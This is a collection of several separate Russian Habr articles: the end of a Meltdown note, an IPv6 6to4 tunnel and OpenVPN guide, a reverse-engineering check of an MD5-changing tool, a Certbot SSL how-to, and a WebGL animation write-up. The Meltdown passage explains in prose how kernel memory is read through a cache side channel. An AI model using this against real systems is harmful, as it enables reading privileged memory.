Как вы можете заметить время доступа к разным областям массива разное, так как кэш загрузил часть памяти, к которой имел доступ во время исполнения вне очереди.
Таким образом мы можем передать данных из состояния исполнения вне очереди, которой исполняет инструкции в привилегированном режиме, в пользовательский процесс атакующего.
Далее основываясь на том, что доступ к данным уже находящемуся в кэше меньше, чем время за которое процессор откатит действие исполненное вне очереди, атакующий читает значение части памяти ядра находящегося в кэше процессора. Иногда попытка чтения заканчиваеться провалом т.к. процессор успевает сбросить конвейер исполнения-вне-очереди перед тем, как тот прочитает данные (0.003%) и позволяет читать данные на скорости 503KB/s на i7 6700K.
Поток, который воспользуется данной уязвимостью упадет с ошибкой, таким образом для эксплуатации уязвимости процесс должен суметь создать дочерний поток, с доступом к памяти дочернего потока.
Подверженность уязвимости
-------------------------
### Linux
Мы удачно воспользовались данной уязвимостью в версиях ядра от 2.6.32 до 4.13.0.
Патч KAISER исключает данную уязвимость.
### Windows
Мы удачно воспроизвели данную уязвимость в Windows 10 (прим. перев. версия не указана)
### Контейнеры
Атаку можно воспроизвести в контейнерах таких как OpenVZ, Docker, LXC.
### Ограничения в AMD и ARM.
Нам не удалось воспроизвести данную уязвимость на ARM и AMD, но возможно наша реализация слишком медленная.
**НО! Нам удалось воспроизвести уязвимость связанную с исполнением вне очереди на обоих процессорах**
**Важно! Патчи для операционных систем предотвращают Meltdown, но не Spectre**
**Важно! Данная уязвимость может присутствовать в других процессорах!**
Извините за короткую заметку! Я так больше не буду :). | https://habr.com/ru/post/346074/ | null | ru | null |
# Сами себе туннельный брокер IPv6 с помощью openvpn и 6to4
Вы хотите чтобы Ваши устройства (Windows\Linux\Android\iOS) начали использовать IPv6, но Ваш провайдер его еще не предоставляет? У Вас есть собственный сервер\VDS\просто компьютер с линуксом и постоянным прямым IPv4 (НЕ IPv6) адресом или даже свой openvpn сервер? Тогда возможно эта статья Вам поможет.
Она не для маститых сетевых гуру, я просто собрал в одном месте набор указаний с целью распространения IPv6 среди масс. Хотя буду благодарен всем маститым гуру, которые меня раскритикуют в комментах и укажут на ошибки. Так как пишу я пост практически сразу после того, как система заработала. Все может быть бесконечно далеко от идеала.
Побудил меня настроить подобную систему мой новый планшет, который на стоковой (других пока что нет) прошивке не хочет получать IPv6 от wifi-роутера, не говоря уже о невозможности использовать IPv6, работая через 3G.
Нам понадобится следующий инструментарий:
1. Хост с linux и прямым, статическим IP адресом (подойдет любой выделеный или виртуальный сервер). У меня VPS на Xen с gentoo и собственным ядром. Однако я считаю, что ничего нестандартного не использую, поэтому должно работать и на популярных бинарных дистрибутивах.
2. Установленный на сервере пакет iproute2. Проверка через «ip --version».
3. openvpn сервер. Версия openvpn — должна быть >= 2.3, крайне желательно [2.3.2 или новее](http://openvpn.net/index.php/download/community-downloads.html).
4. openvpn клиент. Существуют версии под [linux, windows](http://openvpn.net/index.php/download/community-downloads.html), [os x](http://code.google.com/p/tunnelblick/), android ([1](https://play.google.com/store/apps/details?id=de.blinkt.openvpn), [2](https://play.google.com/store/apps/details?id=net.openvpn.openvpn)) и [iOS](https://itunes.apple.com/app/openvpn-connect/id590379981). Требования к версии такие же как у сервера.
##### Настраиваем IPv6 на сервере через 6to4.
Для облегчения перехода на IPv6 создана технология 6to4: каждому IPv4 адресу в соответствует подсеть /48 IPv6-адресов. [Подробнее...](http://version6.ru/6to4/howto)
Предположим, IP Вашего сервера: 208.64.121.161 (взял IP test.com). Идем на [6to4.version6.net/?lang=en\_GB](http://6to4.version6.net/?lang=en_GB), вбиваем IP, например, 208.64.121.161. Получаем следующие настройки:
> Your IPv4 address is 208.64.121.161
>
> Your 6to4 address is **2002:d040:79a1::**2080:6412:1161
>
> 6to4 gateway address is 192.88.99.1
Нам нужен только выделенный жирным кусок. Это наша /48 IPv6 подсеть. У Вас две группы после 2002 в адресе должны быть другими! В них закодирован Ваш IPv4.
Придумываем себе адрес в этой подсети. Для простоты можно использовать ::2 (почему-то замечены глюки при использовании ::1, может кто расскажет почему, а может мне показалось), то есть **2002:d040:79a1::2**.
Создаем туннель (заменяя IPv4 на Ваш адрес):
`ip tunnel add tun6to4 mode sit remote any local 208.64.121.161 ttl 64`
Поднимаем интерфейс:
`ip link set dev tun6to4 up`
Задаем интерфейсу IPv6 адрес, который придумали раньше:
`ip -6 addr add 2002:d040:79a1::2/128 dev tun6to4`
Задаем маршрут по умолчанию (192.88.99.1 — общий маршрутизатор для 6to4, не меняем его!):
`ip -6 route add 2000::/3 via ::192.88.99.1 dev tun6to4 metric 1`
После этого наш сервер должен получить возможность работать по IPv6. Проверяем:
`ping6 2001:ad0::1`
В генте я это все сохранил, добавив в /etc/conf.d/net следующие строчки (создав линк net.lo->net.tun6to4 и не забыв сделать rc-update add net.tun6to4 default):
> iptunnel\_tun6to4=«mode sit remote any local 208.64.121.161 ttl 64»
>
> config\_tun6to4=«2002:d040:79a1::2»
>
> routes\_tun6to4=«2000::/3 via ::192.88.99.1 dev tun6to4 metric 1»
>
> rc\_net\_tun6to4\_need=«net.eth0»
Если пинги идут, значит этап 1 пройден. Если не идут, думаем, проверяем везде ли мы заменили то, что надо заменить на наши данные. Если ничего не помогает подробно рассказываем что делали (с указанием IP сервера) в комментах, попробую помочь. В личку не помогаю.
##### Настраиваем openvpn для работы с IPv6
Как настроить openvpn писано до меня не раз. В том числе тут. Юзайте поиск. Я на всякий случай привожу свои конфиги, вырезав приватные данные.
**Сервер**port censored
proto udp
dev tun
ca vpn1/ca.crt
cert vpn1/server.crt
key vpn1/server.key
dh vpn1/dh2048.pem
server 10.censored 255.255.255.0
ifconfig-pool-persist ipp.txt
keepalive 10 60
comp-lzo adaptive
user nobody
group nobody
persist-key
persist-tun
fast-io
status openvpn-status.log
max-clients 30
tls-auth vpn1/ta.key 0
chroot /var/chroot/openvpn
cipher AES-256-CBC
auth SHA512
tls-cipher TLS-ECDHE-RSA-WITH-AES-256-GCM-SHA384:TLS-ECDHE-RSA-WITH-AES-256-CBC-SHA384:TLS-ECDHE-ECDSA-WITH-AES-256-CBC-SHA384:TLS-ECDHE-RSA-WITH-AES-256-CBC-SHA:TLS-ECDHE-ECDSA-WITH-AES-256-CBC-SHA:TLS-DHE-RSA-WITH-AES-256-CBC-SHA
local censored
client-to-client
ping-timer-rem
management localhost 7505
client-config-dir ccd
**Клиент**client
dev tun
proto udp
remote censored censored
resolv-retry infinite
nobind
persist-key
persist-tun
comp-lzo adaptive
verb 3
key-direction 1
cipher AES-256-CBC
auth SHA512
tls-cipher TLS-ECDHE-RSA-WITH-AES-256-GCM-SHA384:TLS-ECDHE-RSA-WITH-AES-256-CBC-SHA384:TLS-ECDHE-ECDSA-WITH-AES-256-CBC-SHA384:TLS-ECDHE-RSA-WITH-AES-256-CBC-SHA:TLS-ECDHE-ECDSA-WITH-AES-256-CBC-SHA:TLS-DHE-RSA-WITH-AES-256-CBC-SHA
verify-x509-name 'C=RU, ST=RU, L=censored'
censored
censored
Для раздачи IPv6 через openvpn придумываем номер /64 подсети. Это любое число от 0 до FFFF. Например, 5. То есть в моем случае /64 подсеть будет выглядеть целиком так: 2002:d040:79a1:5::. Добавляем в openvpn.conf на сервере строчку:
`server-ipv6 2002:d040:79a1:5::/64`
В принципе в этой строчке и заключается вся настройка openvpn для IPv6. Осталось только указать openvpn-серверу, чтоб он сообщал клиентам маршрут по умолчанию для IPv6. Вы можете это делать либо глобально в серверном openvpn.conf либо в ccd файле для каждого клиента с помощью строчки:
`push "route-ipv6 2000::/3"`
Так же необходимо указать клиентам IPv6 DNS-сервер. Я использую свой, Вы можете воспользоваться гугловским. В серверном openvpn.conf или в ccd:
`push "dhcp-option DNS 2001:4860:4860::8888"`
(Пере)запускаем сервер.
В конфиге клиента ничего менять не надо. Подключаемся к серверу и должны получить IPv6 адрес. На клиенте смотрим:
`ip -6 addr list`
Видим что-то типа:
> 9: tun0: mtu 1500 qlen 100
>
> inet6 2002:d040:79a1:5::1005/64 scope global
>
>
Аналогично смотрим IPv6 адрес tun-интерфейса на сервере, скорее всего он будет заканчиваться на ::1 (2002:d040:79a1:5::1).
Пробуем пинговать с клиента на сервер и обратно. Если пингуется, осталось совсем немного.
Пробуем пинговать с клиента гугловский DNS:
`ping6 2001:4860:4860::8888`
не пингуется, так как IPv6 переадресацию надо разрешать аналогично IPv4. Разрешаем:
`sysctl -w net.ipv6.conf.all.forwarding=1`
И сохраняем в /etc/sysctl.conf строчку:
`net.ipv6.conf.all.forwarding = 1`
Должны пойти пинги с клиента до гугла и вообще появиться возможность использовать IPv6 с клиента. Например, попробуйте в броузере открыть [ipv6.google.com](http://ipv6.google.com).
Все? **Ни в коем случае!**
Прелестью IPv6 является то, что все адреса прямые. Поэтому все ваши openvpn-клиенты будут полностью доступны из большого, опасного интерента. Поэтому не забудьте настроить фаервол на сервере (для IPv6 используется ip6tables). Как минимум я сразу вписал следующее:
Прикрываем сам сервер:
> ip6tables -A INPUT -i lo -j ACCEPT
>
> ip6tables -A INPUT -p tcp -m conntrack --ctstate NEW -m tcp! --tcp-flags FIN,SYN,RST,ACK SYN -j DROP
>
> ip6tables -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
>
> ip6tables -A INPUT -p ipv6-icmp -m icmp6 --icmpv6-type 128 -j ACCEPT
>
> ip6tables -A INPUT -j DROP
>
>
Прикрываем клиентов openvpn (так же прописывается на сервере!)
> ip6tables -A FORWARD -p tcp -m conntrack --ctstate NEW -m tcp! --tcp-flags FIN,SYN,RST,ACK SYN -j DROP
>
> ip6tables -A FORWARD -p ipv6-icmp -m icmp6 --icmpv6-type 128 -j ACCEPT
>
> ip6tables -A FORWARD -i tun0 -j ACCEPT
>
> ip6tables -A FORWARD -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
>
> ip6tables -A FORWARD -j DROP
Ну вот вроде и все. Мой Galaxy Tab 3 10.1 обрел возможность выхода в IPv6. Кстати, если кто знает как на нем включить возможность прямой работы с IPv6 через WiFi (у меня роутер раздает через radvd, все в том числе телефон с cyanogenmod адреса получают, а планшет со стоковой прошивкой нет :( ) — расскажите, пожалуйста, буду очень благодарен.
Шлите ошибки в приват, всем хорошей пятницы и выходных. | https://habr.com/ru/post/199040/ | null | ru | null |
# Как я программу на вирусы проверял
Вступление
----------
Поводом для написания данной статьи послужил диалог в одном телеграмном чате. Кто-то выложил программу для "уникализации" файлов путем изменения хэша MD5, а другой бдительный участник чата проверил ее на Virustotal и из-за двух положительных (и 68 отрицательных) результатов обвинил программу в наличии недекларированных функций, в том числе даже в краже паролей от различных аккаунтов, а всех установивших ее - в "излишках" ума. Увещевания его и рассказ о возможных ложноположительных срабатываниях не дали желаемого результата, беседа перестала быть конструктивной и затухла.
VirustotalНо я (как один из участников того диспута) потерял покой, сон и аппетит, ведь с одной стороны, если антивирус ругается, то нет повода ему не верить и стоит быть осторожным. С другой - два не самых популярных антивируса, было бы из-за чего беспокоиться. Но самое главное - а если вообще было бы 0 детектов, дает ли это основания быть уверенным в программе? И как быть в таком случае? Ну и еще в довесок было интересно - а как, собственно, меняется MD5, просто добавлением лишних байтов (самый очевидный способ) или как-то по умному?
Решил проверить, а заодно и рассказать алгоритм своих размышлений и действий, быть может, кому-то это пригодится. На экспертность не претендую, чисто на бытовом уровне поковыряемся.
Исследуем программу
-------------------
Итак, имеется файл [MD5\_Hash\_Changer.exe](https://www.virustotal.com/gui/file/59eed8eb936b73868a189c8cd26368650ae8650ce9016216f8f0b513f4660e7a), который мы подозреваем в наличии каких то скрытых функций. Для начала, посмотрим его с помощью PEiD:
PEiDСтрочка про C#/.NET наводит на мысль о том, что программа написана на Шарпе, что в ряде случаев может позволить обойтись без дизассемблера. Скачиваем бесплатную программу JetBrains dotPeek, которая позволяет получить код на C# из exe-файла (при условии, естественно, что программа изначально написана на C#), и натравливаем ее на исследуемый файл:
Смотрим программу в dotPeekДля начала следует посмотреть раздел Metadata, в котором первым делом необходимо обратить внимание на используемые строки, в которых могут попасться интересные имена, пути, IP-адреса и прочее.
Строковые ресурсы в dotPeekПри необходимости можно сразу посмотреть, где конкретно используется интересная строка, если такая окажется. В моем случае ничего подозрительного не обнаружилось и я перешел к разделу с кодом. Как выяснилось, исходный код программы содержит два класса, Program и MainForm, при этом класс Program вполне стандартный и содержит лишь код запуска главного окна приложения:
```
using System; using System.Windows.Forms;
namespace MD5_Hash_Changer {
internal static class Program {
[STAThread] private static void Main() {
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run((Form) new MainForm());
}
}
}
```
Класс MainForm будет поразвесистее, и на нем следует остановиться подробнее:
Код приложенияКак видно, при запуске формы запускается функция InitializeComponent(), но в ней ничего интересного не происходит, обычная настройка интерфейса, задание шрифтов и названий кнопок и прочая рутина. Пришлось смотреть весь код целиком, однако каких-либо намеков на сетевую активность или попыток доступа к "ненужным" для программы файлам не обнаружено, все весьма прозрачно и наивно. Что ж, раз зловредного функционала обнаружить не удалось, то хотя бы взглянем на сам алгоритм, чтобы понять, каким образом программа изменяет файлы.
За это отвечает функция
```
private void changeMD5(string[] fileNames) {
Random random = new Random();
Thread.Sleep(1000);
this.Invoke((Delegate) (() => this.btnStartMD5.Enabled = true));
for (int i = 0; i < fileNames.Length; ++i) {
if (!this.running) {
this.Invoke((Delegate) (() => {
this.btnStartMD5.Text = "Start Change MD5";
this.running = false;
}));
break;
}
int length1 = random.Next(2, 7);
byte[] buffer = new byte[length1];
for (int index = 0; index < length1; ++index)
buffer[index] = (byte) 0;
long length2 = new FileInfo(fileNames[i]).Length;
if (length2 == 0L) {
this.Invoke((Delegate) (() => this.dgvMD5.Rows[i].Cells[3].Value = (object) "Empty"));
}
else {
using (FileStream fileStream = new FileStream(fileNames[i], FileMode.Append))
fileStream.Write(buffer, 0, buffer.Length);
int bufferSize = length2 > 1048576L ? 1048576 : 4096;
string md5hash = "";
using (MD5 md5 = MD5.Create()) {
using (FileStream inputStream = new FileStream(fileNames[i], FileMode.Open, FileAccess.Read, FileShare.Read, bufferSize))
md5hash = BitConverter.ToString(md5.ComputeHash((Stream) inputStream)).Replace("-", "");
}
this.Invoke((Delegate) (() => {
if (this.dgvMD5.Rows[i].Cells[2].Value.ToString() != "")
this.dgvMD5.Rows[i].Cells[1].Value = this.dgvMD5.Rows[i].Cells[2].Value;
this.labelItem.Text = (i + 1).ToString();
this.progressBarStatus.Value = i + 1;
this.dgvMD5.Rows[i].Cells[2].Value = (object) md5hash;
this.dgvMD5.Rows[i].Cells[3].Value = (object) "OK";
}));
}
}
this.Invoke((Delegate) (() => {
this.btnStartMD5.Text = "Start Change MD5"; this.running = false;
}));
}
```
На вход функция получает список файлов, которые следует обработать, и в цикле пробегает по нему. Для каждого файла генерируется буфер случайной длины в интервале от 2 до 7 байт и заполняется нулями:
```
int length1 = random.Next(2, 7);
byte[] buffer = new byte[length1];
for (int index = 0; index < length1; ++index)
buffer[index] = (byte) 0;
```
Затем этот буфер просто дописывается в конец файла
```
using (FileStream fileStream = new FileStream(fileNames[i], FileMode.Append))
fileStream.Write(buffer, 0, buffer.Length);
```
и снова вычисляется MD5-хэш уже для измененного файла:
```
using (FileStream inputStream = new FileStream(fileNames[i], FileMode.Open, FileAccess.Read, FileShare.Read, bufferSize))
md5hash = BitConverter.ToString(md5.ComputeHash((Stream) inputStream)).Replace("-", "");
```
Все, больше ничего интересного тут не происходит. Как видим, программа весьма тривиальна и такого рода "уникализация" конечно формально изменяет хэш файла, но... Судить вам, насколько она пригодна для решения ваших задач.
Ну и напоследок, наверное, следует проверить на практике, что же происходит с файлами. Возьмем для примера первую картинку из данной статьи и натравим на нее программу, а затем сравним файлы до обработки и после.
Сравниваем файлыВо первых, размер файла после обработки увеличился на 6 байт, во вторых, как видно из скриншота, в конце файла появились 6 нулевых байт. Очевидно, это соответствует установленному в ходе изучения исходного кода алгоритму.
Важное дополнение
-----------------
В дополнение считаю необходимым отметить, что описанный мной алгоритм проверки не позволяет сделать однозначного вывода о наличии в программе зловредного функционала, ведь существуют способы внедрения в ехе-файл на более низком уровне, поэтому не следует пренебрегать также и анализом возможного сетевого трафика после запуска в "песочнице", и более детальным исследованием собственно исполняемого кода, однако это требует какой-никакой квалификации и опыта, а описанный мной алгоритм вполне доступен даже неподготовленному и далекому от реверса пользователю.
Ссылки
------
* <https://www.jetbrains.com/ru-ru/decompiler/>
* <https://www.virustotal.com/gui/file/59eed8eb936b73868a189c8cd26368650ae8650ce9016216f8f0b513f4660e7a>
* <https://github.com/ewwink/MD5-Hash-Changer/releases> | https://habr.com/ru/post/664870/ | null | ru | null |
# Нужен бесплатный SSL-сертификат? Легко
### Пришлось искать способ защитить домены в зонах RU, РФ...
**Если вам нужен SSL-сертификат, но вы не являетесь специалистом в веб-технологиях, то эта заметка для вас.** Описан простой способ выпуска базового SSL-сертификата Let’s Encrypt в ручном режиме, на локальном компьютере с Windows, с помощью приложения Certbot. Этот способ позволяет получить файлы SSL-сертификата в папку на своём локальном компьютере, после чего можно установить сертификат на свой хостинг.
Потребность в SSL-сертификатах возникла у меня в связи с тем, что срок старых истёк, а создать новые оказалось невозможным из-за возникших ограничений на доменные зоны RU и РФ. Если у вас такая же проблема или вам просто надоело искать веб-сервис для выпуска SSL-сертификатов, то эта заметка вам поможет.
Поскольку я пока не знаю наилучшего пути, то ниже просто опишу ту последовательность действий, которую сам выполнил и которая позволила мне создать SSL-сертификаты для десяти своих доменов (в том числе в зонах RU и РФ), а значит и вам этот способ может помочь.
### Создание SSL-сертификата на локальном компьютере
1. **Установил на свой локальный компьютер (с операционной системой Windows 11) программу Certbot.**
Установочный файл Certbot взял с официального сайта [здесь](https://certbot.eff.org/instructions?ws=other&os=windows) (см. ссылку на загрузку дистрибутива в п.3 на открывшейся по ссылке странице).
Запустил скачанный установщик и в диалоге установки изменил адрес установки на: `C:\Certbot`
*Работа с программой Certbot осуществляется через командную строку или PowerShell (я использовал PowerShell). На время выпуска сертификата, естественно, компьютер должен быть подключен к сети Интернет.*
2. **Открыл PowerShell (х86) с правами администратора.**
Для этого нажал на кнопку "Пуск" и набирая первые буквы названия PowerShell увидел нужный пункт в результатах поиска, затем правым щелчком мыши по названию найденной программы открыл контекстное меню и в нём выбрал пункт "запуск от имени администратора".
3. **В окне PowerShell с помощью команд** `cd` **перешёл в каталог Certbot** (вводил как показано на скриншоте и нажимал в конце строки клавишу Enter):
4. **Вставил из буфера обмена команду для создания сертификата** (можете скопировать её из этой строки):
`certbot certonly --authenticator manual`
И нажал клавишу Enter.
Перед нажатием Enter окно PowerShell выглядело с этой командой так:
5. **Система предложила ввести свой email** (я ввёл), согласился с условиями (нажимая клавишу **Y**), в следующий раз программа на этом шаге уже не просила вводить email, а сразу предлагала ввести имена доменов (я вводил сразу по два – второй с www, через запятую):
6. **Программа попросила создать файл проверки прав на домен.** При этом показано какую строку символов и в файл с каким именем поместить, по какому адресу на веб-сервере этот файл положить:
Поскольку я вводил по два доменных имени (обычное и с www), то после нажатия Enter программа точно так же просила создать ещё один проверочный файл.
С помощью Filezilla Client я создал нужные файлы по требуемому адресу, создав нужные директории. Выделенный текст из окна PowerShell можно копировать просто правым кликом, или привычным сочетанием клавиш Ctrl+C.
7. **Нажал клавишу Enter для создания сертификата, но только после того, как проверочные файлы на веб-сервере были созданы**.
Система сообщила об успешном создании файлов сертификата, которые я нашёл на своём локальном компьютере, в папке:
`C:\Certbot\archive\[имя домена]`
Если бы сертификат не был создан, то программа сообщила бы об ошибке.
*Вот и всё, сертификаты готовы!*
Для установки их на хостинг мне потребовались три файла из четырёх, из данной папки:
**cert1.pem** – сертификат
**chain1.pem** – промежуточный сертификат
**privkey1.pem** – приватный ключ
Эти файлы со своего компьютера не удаляйте, поскольку при следующем выпуске сертификатов (их приходится создавать заново каждые 90 дней) Certbot проверит их наличие и создаст рядом новые, со следующим порядковым номером. Для установки на хостинг нужно будет использовать, конечно, новые.
### Ограничения
Через каждые 90 дней нужно перевыпускать сертификат заново.
### P.S.:
Я ещё не озадачился тем, как автоматизировать описанный выше процесс (мне интересен перевыпуск сертификата именно на локальном компьютере с Windows). Было бы здорово, если бы знающий человек написал в комментариях как это сделать. | https://habr.com/ru/post/667158/ | null | ru | null |
# История одной анимации
Однажды фронтендеру позвонил дизайнер и попросил сделать «паутинку» за запотевшим стеклом. Но потом оказалось, что это не «паутинка», а гексагональная сетка, и не за стеклом, а она уходит вдаль, и с WebGL фронтендер не знаком, а всей анимации пришлось учиться в процессе рисования. Тем фронтендером был **Юрий Артюх** ([akella](https://habr.com/ru/users/akella/)).
Юрий давно занимается версткой, а по воскресеньям записывает стримы с разбором реальных проектов. Он не профи в WebGL, не делает на нем карты, не пишет на Web-ассемблере, но ему нравится учиться чему-то новому. На [FrontendConf](https://frontendconf.ru) РИТ++ Юрий рассказал, как провести одну анимацию от макета до сдачи клиенту так, чтобы все были довольны, и по дороге изучить WebGL. История идет от первого лица и включает в себя: Three.js, GLSL, Canvas 2D, графы и немного математики.
Паутинка за запотевшим стеклом
------------------------------
Как-то я сидел и работал над важным проектом. Тут звонит дизайнер из студии, в которой очень любят спецэффекты, и спрашивает: «А можешь сделать паутинку, как будто за запотевшим стеклом?»
Это, конечно, сразу описывает всю задачу. Как потом оказалось, «паутинкой» за запотевшим стеклом было вот это.
Это гексагональная сетка, но для дизайнера почему-то «паутинка». Запотевшее стекло — это сетка уходит вдаль. Трудности коммуникации. Представляете, как тяжело быть интровертом и делать анимации? Но я как раз такой и именно этим занимаюсь.
Эта «паутинка» не выглядит как анимация, после которой можно написать доклад об успешном кейсе, открыть стартап, получить миллиард инвестиций, иметь кучу фанатов и запустить ракету в космос. Что это вообще? Коричневая линия на бело-сером фоне, будто нарисованная мышкой. Позже оказалось, что она должна идти по граням, но об этом позже. В общем, кодовое имя — «паутинка за запотевшим стеклом».
На сайте с этой анимацией было еще несколько вариантов «паутинки»: на сером фоне вверху, на белом внизу. Нужно было сделать ее интерактивной, чтобы она реагировала на движение мышки пользователя.
Первое, что меня спросили дизайнеры, насколько это сложно и сколько это будет стоить. В голове пробежало несколько мыслей: как рисовать линию и такой Grid, как сделать, чтобы не тормозило, как это вообще должно работать. Я раньше с таким не сталкивался. Но, как человек, который занимается разработкой, ответил: «*Та, несложно, сделаем...»*
Я люблю ввязываться в непонятные авантюры, потому что когда я это делаю, обычно страдаю.
> Через страдания приходит рост. Он неизбежно связан со страданиями — нельзя быть довольным всем, жить счастливо и при этом профессионально развиваться.
Three.js
--------
Я тут же начал думать, как решить задачу. Поскольку все это было в 3D, я вспомнил о **Three.js**. Это самая популярная библиотека, о которой говорят на всех конференциях. Эта библиотека делает WebGL понятнее, удобнее и приятнее, чем просто нативный WebGL.
В Three.js есть много готовых объектов. **PlaneGeometry** — первый объект, который мне показался идеально подходящим. Это примитивная плоскость. В библиотеке есть всякие шестиугольники, додекаэдры, икосаэдры, цилиндры, но есть простая плоскость из множества треугольников.
*Треугольников много, потому что мне нужны детализированные волны — поверхность должна волноваться.*
Если заглянуть внутрь Three.js, то по факту эта плоскость — простой JS-объект со списком всех координат точек.
В моем случае у меня плоскость 50×50 квадратиков, поэтому мне нужна была 2601 вершина. Почему 50×50 = 2601? Это школьная математика. Координата z = 0, потому что плоскость, y = 1, потому что это первый ряд вершин из 50 штук, а x меняется.
Но зачем мне плоскость, ее же нужно как-то искривлять? Первое, что можно сделать с массивом — произвести с ним математические операции. Например, пройтись циклом `for each` и присвоить координате z значение синуса от координаты x.
Получилось что-то похожее на синусоиду, потому что значение высоты каждой вершины будет равно синусу этого значения по оси x. Чтобы это как-то усложнить (сейчас будет сложный математических момент, приготовьтесь) — добавлю время в синус, и это полотно будет двигаться, просто потому что так работает математика. Если добавить время к координате x, то график движется по горизонтали. Если к координате y — будет двигаться по вертикали. Меня интересовало движение по горизонтали — я же хотел, чтобы у меня океан волновался.
Дизайнер не ожидал, что у меня будет синусоида, которая ползет слева направо. Он хотел, чтобы это было красиво, как паутинка, океан или что там в у него в голове. Поэтому вариант с синусоидой не подходил. Требовался какой-то рандом. Плоскость не должна была быть предсказуема как синусоида. Но если вызывать рандом для каждой из этих вершин, то получим ту самую непредсказуемость.
Суть рандома в том, что он случайный и независимый. Каждая рандомная вершина никак не зависит от соседних. В рандом не передается никаких параметров, ему все равно на соседей.
Получилась ломаная кривая, которая напоминает океан или паутину лишь отдаленно. Больше подойдет как иллюстрация к фильму о «хакерах» и кибервзломах.
Если посмотреть на рандом с точки зрения каждой точки на экране, то это выглядит как белый шум — множество маленьких белых и черных точек. Каждая точка черно-белая — 0 или 1.
Но то, что мне нужно, чтобы создать океан из волн, должно выглядеть так.
*Напоминает и туман, и облака, и горы.*
Есть рандомные функции, которые возвращают такие картинки. Они называется шумы или **noise**: Simplex noise, Perlin noise. Перлин в названии шума — это фамилия создателя алгоритма градиентного шума, который возвращает красивый рандом. Он создал его, работая над спецэффектами первой части фильма «Трон». Этот математический алгоритм существовал и раньше, но сейчас он активно применяется в кино и играх.
Когда генерируются рандомные карты в «Heroes of Might and Magic III» (для тех, кому за 30) или в стратегиях., то обычно можно увидеть нечто похожее. Это всегда одна и та же функция, которая возвращает эти шумы.
Существует целое движение «Generative art». Участники генерируют художественные произведения, пейзажи, с помощью функции noise. Например, на картинке ниже псевдоприродный пейзаж от одного из художников. Сразу непонятно, это математика или топография какой-то горы. Задача Generative-искусства как раз в том, чтобы математически сгенерировать пейзаж, который неотличим от настоящего.
Оказалось, что в отличии от рандома, эта функция принимает в себя параметры, потому что точки должны зависеть от ближайших к ним соседей. Если применить функцию noise вместо обычного рандома, получается что-то такое.
*Черное и белое — это просто высота: 0 — это черные долины, 1 — белые вершины. Получается волнистая поверхность.*
Эта функция есть на всех ЯП, потому что это просто алгоритм — синусы, косинусы, умножение.
Я могу сделать искажением так же, пройдя все вершины моего объекта PlaneGeometry, присвоив каждой значение функции noise:
```
geometry.vertices.forEach(v => {
v.z = noise(v.x, v.y, time);
});
```
Функция занимает всего 30-40 строк, но математически сложная.
Существуют функции noise всех измерений: одномерные, двухмерные, трехмерные. В моем случае это трехмерный noise, потому что в него передаются три параметра. Кроме пространственных координат x и y плоскости я передаю время — поверхность будет постоянно извиваться, менять свое положение.
Three.js! == GPU
----------------
Когда я запустил алгоритм, волны начали двигаться. Когда я делаю что-то для Web, то всегда смотрю в профайлер, и сейчас тоже в него заглянул.Вот как волны выглядели там.
На экране — один фрейм, отрисованный браузером. Фреймы отображаются вертикальными серыми пунктирными линиями. Внутри фрейма 2/3 времени занимает исполнение функции noise. Когда вы что-то анимируете в Web, то используете фрейм request animation, который исполняется каждые 16 мс, в лучшем случае. Фрейм каждые 16 мс считает функцию noise для 2600 вершин. Для каждой вершины считается движение вверх-вниз и высота. На каждом следующем фрейме значения пересчитываются, потому что поверхность должна жить во времени.
Оказалось, что функция noise, которая исполнилась 2600 раз уже занимает 2/3 фрейма на моем компьютере. И это еще не весь фрейм. При разработке анимаций это уже красный флаг.
> Никакие анимации не должны занимать больше, чем половина фрейма.
Если больше, то высока опасность потерять фрейм при любой интеракции, любой кнопочке, любом mouseover.
Поэтому это был жёсткий красный флаг. Я понял, что Three.js — это не обязательно WebGL. Несмотря на то, что я вроде бы использовал Three.js, рисовал все в 3D, оно рендерилось в WebGL, я не получил фантастической производительности из WebGL. У меня всего 2600 вершин — для WebGL это мало. Например, на каждой карте тысячи объектов, каждый состоит из десятков треугольников. Оцените масштабы: сотни тысяч — это нормально, а здесь всего 2600 вершин.
Verteх Shader
-------------
После проблемы с фреймами я узнал, что есть шейдеры. Их всего два вида:
* Vertex Shader;
* Fragment Shader.
Мне был интересен вершинный шейдер — Vertex Shader. Если переписать анимацию на него, то она выглядит так:
```
position.z = noise( vec3(position.x, position.y, time) );
```
`Position.z` — составляющая z координаты каждой точки со своими типами данных. `vec3` указывает на то, что здесь будет три параметра.
> В шейдере нет цикла.
Перед этим в скрипте я ставил цикл `for each`, и для каждой вершины расчёты проходили в цикле. Отличие шейдеров от нешейдеров — отсутствие цикла.
> Шейдер — это и есть цикл.
Он исполняется параллельно для всех вершин сразу. В этом его главный смысл, и предназначение, и фишка, и миссия.
На видеокарте GPU больше ядре, в отличии от главного процессора CPU. На процессоре их гораздо меньше, но он способен быстрее выполнять универсальные вычисления. На видеокарте доступны очень простые вычисления, но много ядер, поэтому она позволяет параллелить множество вычислений. Как раз это обычно и происходит в шейдерах. Смысл вершинного шейдера в том, что расчёт noise произойдет параллельно для 2600 вершин в шейдере на видеокарте.
Если заглянуть в профайлер — внешний вид анимации не поменяется, но выглядеть это будет так.
**На CPU не исполняется вообще ничего**. Конечно, внизу добавился еще один тред на GPU. Также есть треды на GPU, CPU, Web-workers, но эти вычисления будут производиться уже в отдельном треде на видеокарте.
Конечно, это не бесплатно. Видеокарта при работе греется больше, чем главный процессор. Поэтому часто, когда вы заходите на сайты с подобной анимацией, у вас начинают работать вентиляторы. Все потому, что когда включается видеокарта она требует охлаждения, в отличие от всего остального времени. На мобильных устройствах это важнее, чем на десктопных компах — мобильники просто быстрее разряжаются. Но при этом вы получаете выигрыш по производительности, достаточно радикальный.
*Получилось такая поверхность — это обычный perlin-noise. Если его запустить и менять только время, получаются клевые волны.*
Но это еще не все. От меня еще требовалась «паутинка» — гексагональная сетка на поверхности. Имея опыт в верстке, самый простой и очевидный способ — выделить фрагмент, который можно повторить. Интересно, что для гексагональной сетки он не квадратный, а прямоугольный. Если повторить паттерн как прямоугольник, то получится сетка. Библиотека Three.js позволяет наложить png и не учить весь WebGL перед этим. Я вырезал png и наложил на поверхность, получилось нечто такое.
На первый взгляд, то, что нужно! Но только на первый. Мне это не подошло, так как анимация требовалась сайту криптовалют — все должно быть «дорого-богато».
